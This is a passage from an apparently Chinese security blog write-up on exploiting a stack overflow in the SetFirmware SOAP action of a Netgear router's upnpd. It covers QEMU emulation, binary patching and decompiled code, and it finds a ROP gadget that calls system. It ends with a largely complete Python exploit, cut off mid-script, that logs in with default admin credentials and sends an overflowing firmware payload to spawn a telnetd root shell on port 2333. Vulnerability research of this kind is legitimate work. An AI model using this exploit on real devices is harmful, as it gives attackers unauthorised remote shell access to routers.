4px;">&lt;Password&gt;Passwd&lt;/Password&gt;</code>，登录成功后将session_ID在响应包中发送。在模拟启动环境发送登录包将获得如下响应包：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5425867507886435" data-s="300,640" style="" data-type="png" data-w="951" src="https://wechat2rss.xlab.app/img-proxy/?k=602fe36e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbQFy1Nicb49x7IZnV4SUkSWmGAmj6Grib95EfHicAufNiakSpOEnt6HJEOMWnB4pAlduob5Yj3VJDSfA%2F640%3Fwx_fmt%3Dpng"/></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">SOAPLogin</span>(http_username: <span style="color: rgb(230, 192, 123);">str</span>, passwd: <span style="color: rgb(230, 192, 123);">str</span>) -&gt; <span style="color: rgb(230, 192, 123);">str</span>:<br/>    header = {<br/>        <span style="color: rgb(152, 195, 121);">&#34;SOAPACTION&#34;</span>: <span style="color: rgb(152, 195, 121);">&#34;urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin&#34;</span><br/>    }<br/>    body = <span style="color: rgb(152, 195, 121);">&#39;&lt;?xml version=&#34;1.0&#34;?&gt;\r\n&#39;</span><br/>    body += <span style="color: rgb(152, 195, 121);">&#39;&lt;Username&gt;admin&lt;/Username&gt;\r\n&#39;</span><br/>    body += <span style="color: rgb(152, 195, 121);">&#39;&lt;Password&gt;admin&lt;/Password&gt;\r\n&#39;</span><br/>    respnd = requests.post(url=URL, headers=header, data=body)<br/>    cookie = respnd.headers.get(<span style="color: rgb(152, 195, 121);">&#39;Set-Cookie&#39;</span>)<br/>    <span style="color: rgb(230, 192, 123);">print</span>(cookie)<br/>    <span style="color: rgb(198, 120, 221);">return</span> cookie</code></pre><h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">模拟启动</h1><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  qemu配置如下：<span style="line-height: 1.75;color: rgb(87, 107, 149);">Index of /~aurel32/qemu/armhf (debian.org)</span></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(97, 174, 238);">#!/bin/bash</span><br/>qemu-system-arm -M vexpress-a9 \<br/>    -kernel vmlinuz-3.2.0-4-vexpress \<br/>    -initrd initrd.img-3.2.0-4-vexpress \<br/>    -drive <span style="color: rgb(198, 120, 221);">if</span>=sd,file=debian_wheezy_armhf_standard.qcow2\<br/>    -append <span style="color: rgb(152, 195, 121);">&#34;root=/dev/mmcblk0p2 console=ttyAMA0&#34;</span> \<br/>    -net user,hostfwd=tcp::2222-:22,hostfwd=tcp::5555-:5555,hostfwd=tcp::5000-:5000 -net nic \<br/>    -nographic</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  因为程序中大量调用nvram的系列函数，所以使用<a href="https://github.com/grimm-co/NotQuite0DayFriday.git提供的hook源码编译一个hook库(根据IDA可知nvram函数的实现在`libnvram.so`中)，然后传入qemu中替换`usr/lib/libnvram.so`。尝试启动结果如下" target="_blank">https://github.com/grimm-co/NotQuite0DayFriday.git提供的hook源码编译一个hook库(根据IDA可知nvram函数的实现在`libnvram.so`中)，然后传入qemu中替换`usr/lib/libnvram.so`。尝试启动结果如下</a></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">root@debian-armhf:~<span style="color: rgb(92, 99, 112);font-style: italic;"># cd squashfs-root/</span><br/>root@debian-armhf:~/squashfs-root<span style="color: rgb(92, 99, 112);font-style: italic;"># mount --bind /proc ./proc</span><br/>root@debian-armhf:~/squashfs-root<span style="color: rgb(92, 99, 112);font-style: italic;"># mount --bind /dev ./dev/</span><br/>root@debian-armhf:~/squashfs-root<span style="color: rgb(92, 99, 112);font-style: italic;"># chroot . ./bin/busybox sh</span><br/>BusyBox v1.7.2 (2021-08-26 10:32:44 CST) built-in shell (ash)<br/>Enter <span style="color: rgb(152, 195, 121);">&#39;help&#39;</span> <span style="color: rgb(198, 120, 221);">for</span> a list of built-in commands.<br/><span style="color: rgb(92, 99, 112);font-style: italic;">#/usr/sbin/upnpd</span><br/>Getting upnp_turn_on<br/>Getting upnp_turn_on<br/>Getting lan_ipaddr<br/>Getting upnp_turn_on<br/>Getting upnp_turn_on<br/>Getting friendly_name<br/>Getting upnp_turn_on<br/>Getting friendly_name<br/>Getting upnp_turn_on<br/>Getting hw_rev<br/>Getting upnp_turn_on<br/>Getting friendly_name<br/>Getting upnp_turn_on<br/>Getting upnp_turn_on<br/>open: No such file or directory<br/>Getting upnp_turn_on<br/>Getting lan_hwaddr<br/>Getting lan_hwaddr<br/>Getting upnp_turn_on<br/>Getting lan_ipaddr<br/>Getting upnp_turn_on<br/>Getting friendly_name<br/>Getting upnp_turn_on<br/>Getting hw_rev<br/>Getting upnp_turn_on<br/>Getting friendly_name<br/>Getting upnp_turn_on<br/>Getting upnp_turn_on<br/>open: No such file or directory<br/>Getting upnp_turn_on<br/>Getting lan_hwaddr<br/>Getting lan_hwaddr<br/>Getting upnp_turn_on<br/>Getting lan_ipaddr<br/>Getting upnp_turn_on<br/>Getting friendly_name<br/>Getting upnp_turn_on<br/>Getting hw_rev<br/>Getting upnp_turn_on<br/>Getting friendly_name<br/>Getting upnp_turn_on<br/>Getting upnp_turn_on<br/>open: No such file or directory<br/>Getting upnp_turn_on<br/>Getting lan_hwaddr<br/>Getting lan_hwaddr<br/>Getting upnp_turn_on<br/>Getting lan_ipaddr<br/>Getting upnp_duration<br/>Getting upnp_duration<br/>Getting upnp_duration<br/>Getting upnp_duration<br/>Getting upnp_duration<br/>Getting upnp_duration<br/>Getting upnp_duration<br/>Getting upnp_duration<br/>Setting upnp_portmap_entry = 0<br/>Getting upnp_turn_on<br/>Getting lan_ipaddr<br/>Getting lan_ipaddr</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  程序在main函数中调用了<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">daemon</code>进入后台，所以不方便直接gdb调试，因此为了后面分析这里需要<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">NOP</code>掉；然后就是直接运行发现后面立马<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">exit(0)</code>。nop掉daemon后进去调试发现在调用<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">setsockopt(v5, 0, 35, &amp;optval, 8u)</code><strong style="line-height: 1.75;color: rgb(255, 118, 118);">加入多播地址出错</strong>：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6866002214839424" data-s="300,640" style="" data-type="png" data-w="903" src="https://wechat2rss.xlab.app/img-proxy/?k=fa4f444a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbQFy1Nicb49x7IZnV4SUkSWugxzPZVxu3wich2UHormV9b3W4hxyIy2ofK8T1S5Q0mLuFp7JroTqsg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">google了一下这个问题发现是qemu自身不支持多播协议：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5161744022503516" data-s="300,640" style="" data-type="png" data-w="711" src="https://wechat2rss.xlab.app/img-proxy/?k=9a4ad64b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbQFy1Nicb49x7IZnV4SUkSWOuDwicrLl9Ncqm8ib2dzaGoXNOYR8jNhFrkjZwSIa9vMWtmLK4BRiaPVw%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">但是这里关键在于upnp程序的控制服务和多播功能关系不大，因此选择将修改下面的跳转为无条件跳转：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.16883116883116883" data-s="300,640" style="" data-type="png" data-w="924" src="https://wechat2rss.xlab.app/img-proxy/?k=e7f89c2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbQFy1Nicb49x7IZnV4SUkSWse09TqvoetfzbFnCnvK8PZDxAEq476IbuJLz1SywqcqjwRovPQufVw%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">然后就可以维持运行了：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.22475247524752476" data-s="300,640" style="" data-type="png" data-w="1010" src="https://wechat2rss.xlab.app/img-proxy/?k=10b21219&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbQFy1Nicb49x7IZnV4SUkSWhyRumq8c8piccruJ7zVdwHIQaaBBPWfoo8WSyQfVAQ5MjBJ3UwhxE0w%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">需要的就是这两个端口</p><h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">Exploit</h1><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  与login的action调用类似，固件更新的action名为<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">SetFirmware</code>，同样属于<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">DeviceConfig</code>服务下标为60，主要逻辑如下：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">  v130 = v7 == <span style="color: rgb(209, 154, 102);">0xFF13</span>;<br/>  dword_EC044[<span style="color: rgb(209, 154, 102);">19</span> * v83] = <span style="color: rgb(209, 154, 102);">0xFF3B</span>;<br/>  firmdataDecry = (<span style="color: rgb(209, 154, 102);">char</span> *)<span style="color: rgb(230, 192, 123);">malloc</span>(<span style="color: rgb(209, 154, 102);">0x400000</span>u);<br/>  v24 = (<span style="color: rgb(209, 154, 102);">unsigned</span> __int8 *)firmdataDecry;<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( !firmdataDecry )<br/>  {<br/>    v2 = <span style="color: rgb(209, 154, 102);">603</span>;<br/>    <span style="color: rgb(230, 192, 123);">printf</span>(<span style="color: rgb(152, 195, 121);">&#34;No memory buffer %d for using in %s\n&#34;</span>, <span style="color: rgb(209, 154, 102);">0x400000</span>, <span style="color: rgb(152, 195, 121);">&#34;sa_setFirmware&#34;</span>);<br/>    <span style="color: rgb(198, 120, 221);">goto</span> LABEL_101;<br/>  }<br/>  base64Decode(firmdataDecry, &amp;v130, (<span style="color: rgb(209, 154, 102);">unsigned</span> __int8 *)firmdataCry);<br/>  <span style="color: rgb(230, 192, 123);">printf</span>(<span style="color: rgb(152, 195, 121);">&#34;sa_base64_decode, len=%d\n&#34;</span>, v130);<br/>  v25 = v24[<span style="color: rgb(209, 154, 102);">7</span>];<br/>  <span style="color: rgb(230, 192, 123);">printf</span>(<span style="color: rgb(152, 195, 121);">&#34;SOAP firmware upgrade checking ... &#34;</span>);<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( checker(v24) )                           <span style="color: rgb(92, 99, 112);font-style: italic;">// stack overflow</span><br/>  {<br/>    v2 = <span style="color: rgb(209, 154, 102);">702</span>;<br/>  }<br/><span style="color: rgb(92, 99, 112);font-style: italic;">/*checker part*/</span><br/>    v4 = *((<span style="color: rgb(209, 154, 102);">unsigned</span> __int8 *)v1 + <span style="color: rgb(209, 154, 102);">38</span>);<br/>    v5 = *((<span style="color: rgb(209, 154, 102);">unsigned</span> __int8 *)v1 + <span style="color: rgb(209, 154, 102);">5</span>);<br/>    v6 = *((<span style="color: rgb(209, 154, 102);">unsigned</span> __int8 *)v1 + <span style="color: rgb(209, 154, 102);">37</span>);<br/>    v7 = *((<span style="color: rgb(209, 154, 102);">unsigned</span> __int8 *)v1 + <span style="color: rgb(209, 154, 102);">7</span>) + (*((<span style="color: rgb(209, 154, 102);">unsigned</span> __int8 *)v1 + <span style="color: rgb(209, 154, 102);">4</span>) &lt;&lt; <span style="color: rgb(209, 154, 102);">24</span>) + (*((<span style="color: rgb(209, 154, 102);">unsigned</span> __int8 *)v1 + <span style="color: rgb(209, 154, 102);">6</span>) &lt;&lt; <span style="color: rgb(209, 154, 102);">8</span>);<br/>    v8 = *((<span style="color: rgb(209, 154, 102);">unsigned</span> __int8 *)v1 + <span style="color: rgb(209, 154, 102);">39</span>) + (*((<span style="color: rgb(209, 154, 102);">unsigned</span> __int8 *)v1 + <span style="color: rgb(209, 154, 102);">36</span>) &lt;&lt; <span style="color: rgb(209, 154, 102);">24</span>);<br/>    *((_BYTE *)v1 + <span style="color: rgb(209, 154, 102);">36</span>) = <span style="color: rgb(209, 154, 102);">0</span>;<br/>    *((_BYTE *)v1 + <span style="color: rgb(209, 154, 102);">37</span>) = <span style="color: rgb(209, 154, 102);">0</span>;<br/>    len = v7 + (v5 &lt;&lt; <span style="color: rgb(209, 154, 102);">16</span>);<br/>    *((_BYTE *)v1 + <span style="color: rgb(209, 154, 102);">38</span>) = <span style="color: rgb(209, 154, 102);">0</span>;<br/>    *((_BYTE *)v1 + <span style="color: rgb(209, 154, 102);">39</span>) = <span style="color: rgb(209, 154, 102);">0</span>;<br/>    v10 = v8 + (v4 &lt;&lt; <span style="color: rgb(209, 154, 102);">8</span>) + (v6 &lt;&lt; <span style="color: rgb(209, 154, 102);">16</span>);<br/>    <span style="color: rgb(230, 192, 123);">memset</span>(&amp;v13, <span style="color: rgb(209, 154, 102);">0</span>, <span style="color: rgb(209, 154, 102);">0x64</span>u);<br/>    <span style="color: rgb(230, 192, 123);">memcpy</span>(&amp;v13, v1, len);<br/>    calculate_checksum(v3, v3, v3); <br/><span style="color: rgb(92, 99, 112);font-style: italic;">/*<br/>.data:000841C8 ; specialArg ArgList[]<br/>.data:000841C8 ArgList         DCD 0xFF00              ; DATA XREF: sub_F39C+28↑o<br/>.data:000841C8                                         ; sub_F39C+60↑o ...<br/>.data:000841CC off_841CC       DCD aNewenable          ; DATA XREF: firmStuff+58↑r<br/>.data:000841CC                                         ; &#34;NewEnable&#34;<br/>.data:000841D0 dword_841D0     DCD 1                   ; DATA XREF: firmStuff+60↑r<br/>.data:000841D4                 DCD 0xFF01<br/>.data:000841D8 off_841D8       DCD aNewconnectiont     ; DATA XREF: firmStuff+2DC↑r<br/>.data:000841D8                                         ; &#34;NewConnectionType&#34;<br/>.data:000841DC dword_841DC     DCD 0x10                ; DATA XREF: firmStuff+2E4↑r<br/>.data:000841E0                 DCD 0xFF02<br/>.data:000841E4                 DCD 0x4AB1C<br/>.data:000841E8                 DCD 0x40<br/>*/</span></code></pre><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">  可以在参数列表中找到该action的参数label为</span><code style="white-space:pre-wrap;text-align: left;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">&lt;NewFirmware&gt;FirmData&lt;/NewFirmware&gt;</code><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">；其中发送的firmData是base64加密过的，这里在构造firmware数据时注意</span><strong style="font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;color: rgb(255, 118, 118);">不要造成memcpy的len太大</strong><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">否则在memcpy就可能出现段错误，但无法利用(这中copy函数的长度问题在iot中经常遇到)。构造包溢出后结果如下：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6175925925925926" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a92432d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbQFy1Nicb49x7IZnV4SUkSWFfBsASDvqE1Fw5GIOaaKNw1WwNUz7VQ0XcIicvdlFvNSBXxJP4fMLbg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  得到偏移如下：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.1441441441441442" data-s="300,640" style="" data-type="png" data-w="333" src="https://wechat2rss.xlab.app/img-proxy/?k=aa07dc2f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbQFy1Nicb49x7IZnV4SUkSWpYrCUj8aRanZ0BnNd0enVLqAWacz4lulNT19QalF4dRYC6ETam4IgQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  因为开启了NX保护所以rop构造system(cmd)，在arm架构下控制r0~r3的gadgets很少，但是在程序中调用system函数的附近找到如下指令：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">2F134                 MOV             R0, SP  ; command<br/>2F138                 BL              system</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  那么就可以在176偏移处存放cmd，然后168处存放2F134地址即可。Exp如下：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">import</span> sys, base64, requests, struct<br/>URL = <span style="color: rgb(152, 195, 121);">&#39;<a href="http://localhost:5000/soap/server_sa" target="_blank">http://localhost:5000/soap/server_sa</a>&#39;</span><br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">SOAPLogin</span>(http_username: <span style="color: rgb(230, 192, 123);">str</span>, passwd: <span style="color: rgb(230, 192, 123);">str</span>) -&gt; <span style="color: rgb(230, 192, 123);">str</span>:<br/>    header = {<br/>        <span style="color: rgb(152, 195, 121);">&#34;SOAPACTION&#34;</span>: <span style="color: rgb(152, 195, 121);">&#34;urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin&#34;</span><br/>    }<br/>    body = <span style="color: rgb(152, 195, 121);">&#39;&lt;?xml version=&#34;1.0&#34;?&gt;\r\n&#39;</span><br/>    body += <span style="color: rgb(152, 195, 121);">&#39;&lt;Username&gt;admin&lt;/Username&gt;\r\n&#39;</span><br/>    body += <span style="color: rgb(152, 195, 121);">&#39;&lt;Password&gt;admin&lt;/Password&gt;\r\n&#39;</span><br/>    respnd = requests.post(url=URL, headers=header, data=body)<br/>    cookie = respnd.headers.get(<span style="color: rgb(152, 195, 121);">&#39;Set-Cookie&#39;</span>)<br/>    <span style="color: rgb(230, 192, 123);">print</span>(cookie)<br/>    <span style="color: rgb(198, 120, 221);">return</span> cookie<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">SetFirmware</span>(cookie: <span style="color: rgb(230, 192, 123);">str</span>):<br/>    header = {<br/>        <span style="color: rgb(152, 195, 121);">&#34;SOAPACTION&#34;</span>: <span style="color: rgb(152, 195, 121);">&#34;urn:NETGEAR-ROUTER:service:DeviceConfig:1#SetFirmware&#34;</span>,<br/>        <span style="color: rgb(152, 195, 121);">&#34;Cookie&#34;</span>: <span style="color: rgb(152, 195, 121);">f&#39;<span style="color: rgb(224, 108, 117);">{cookie}</span>&#39;</span><br/>    }<br/>    firmData = <span style="color: rgb(152, 195, 121);">b&#39;*#$^&#39;</span> + <span style="color: rgb(152, 195, 121);">b&#39;\x00&#39;</span> + <span style="color: rgb(152, 195, 121);">b&#39;\x00&#39;</span> + <span style="color: rgb(152, 195, 121);">b&#39;\x01&#39;</span> + <span style="color: rgb(152, 195, 121);">b&#39;\x00&#39;</span><br/>    firmData += <span style="color: rgb(152, 195, 121);">b&#39;A&#39;</span>*<span style="color: rgb(209, 154, 102);">144</span><br/>    firmData += <span style="color: rgb(152, 195, 121);">b&#39;4&#39;</span>*<span style="color: rgb(209, 154, 102);">4</span>      <span style="color: rgb(92, 99, 112);font-style: italic;">#r4</span><br/>    firmData += <span style="color: rgb(152, 195, 121);">b&#39;5&#39;</span>*<span style="color: rgb(209, 154, 102);">4</span>      <span style="color: rgb(92, 99, 112);font-style: italic;">#r5</span><br/>    firmData += <span style="color: rgb(152, 195, 121);">b&#39;6&#39;</span>*<span style="color: rgb(209, 154, 102);">4</span>      <span style="color: rgb(92, 99, 112);font-style: italic;">#r6</span><br/>    firmData += <span style="color: rgb(152, 195, 121);">b&#39;7&#39;</span>*<span style="color: rgb(209, 154, 102);">4</span>      <span style="color: rgb(92, 99, 112);font-style: italic;">#r7</span><br/>    firmData += <span style="color: rgb(152, 195, 121);">b&#39;8&#39;</span>*<span style="color: rgb(209, 154, 102);">4</span>      <span style="color: rgb(92, 99, 112);font-style: italic;">#r8</span><br/>    firmData += <span style="color: rgb(152, 195, 121);">b&#39;9&#39;</span>*<span style="color: rgb(209, 154, 102);">4</span>      <span style="color: rgb(92, 99, 112);font-style: italic;">#r9</span><br/>    firmData += <span style="color: rgb(152, 195, 121);">b&#39;a&#39;</span>*<span style="color: rgb(209, 154, 102);">4</span>      <span style="color: rgb(92, 99, 112);font-style: italic;">#r10</span><br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;ROP for system(ANY_cmd)<br/>    2F134                 MOV             R0, SP  ; command<br/>    2F138                 BL              system<br/>    &#34;&#34;&#34;</span><br/>    firmData += struct.pack(<span style="color: rgb(152, 195, 121);">&#39;&lt;I&#39;</span>, <span style="color: rgb(209, 154, 102);">0x2F134</span>)      <span style="color: rgb(92, 99, 112);font-style: italic;">#PC</span><br/>    firmData += <span style="color: rgb(152, 195, 121);">b&#39;/usr/sbin/telnetd -p2333 -l/bin/sh &amp;&#39;</span><br/>    body = <span style="color: rgb(152, 195, 